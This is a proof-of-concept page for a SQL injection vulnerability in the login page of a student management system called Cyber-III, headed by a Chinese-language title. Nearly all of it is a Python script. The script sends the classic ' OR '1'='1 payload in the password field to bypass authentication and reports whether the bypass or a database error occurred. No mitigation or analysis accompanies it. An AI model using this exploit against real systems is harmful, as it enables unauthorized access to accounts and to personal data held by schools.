CVE-2026-5669 Cyber-III学生管理系统SQL注入漏洞

# PoC for CVE-2026-5669 # Target: Cyber-III Student-Management-System /login.php # Vulnerable Parameter: Password import requests def check_sqli(target_url): # Payload to bypass login using SQL Injection # Attempting a basic boolean-based injection payload = { "Username": "admin", "Password": "' OR '1'='1" # Simple injection payload } try: response = requests.post(target_url, data=payload, timeout=10) # Check if login was successful or response indicates SQL error if response.status_code == 200 and ("dashboard" in response.text.lower() or "welcome" in response.text.lower()): print("[+] Vulnerability confirmed: SQL Injection allows login bypass.") elif "syntax error" in response.text.lower() or "mysql" in response.text.lower(): print("[+] Potential SQL Injection detected (Database error visible).") else: print("[-] Exploit attempt did not yield expected results, manual verification recommended.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://target-ip/login.php" # Replace with actual target URL check_sqli(target)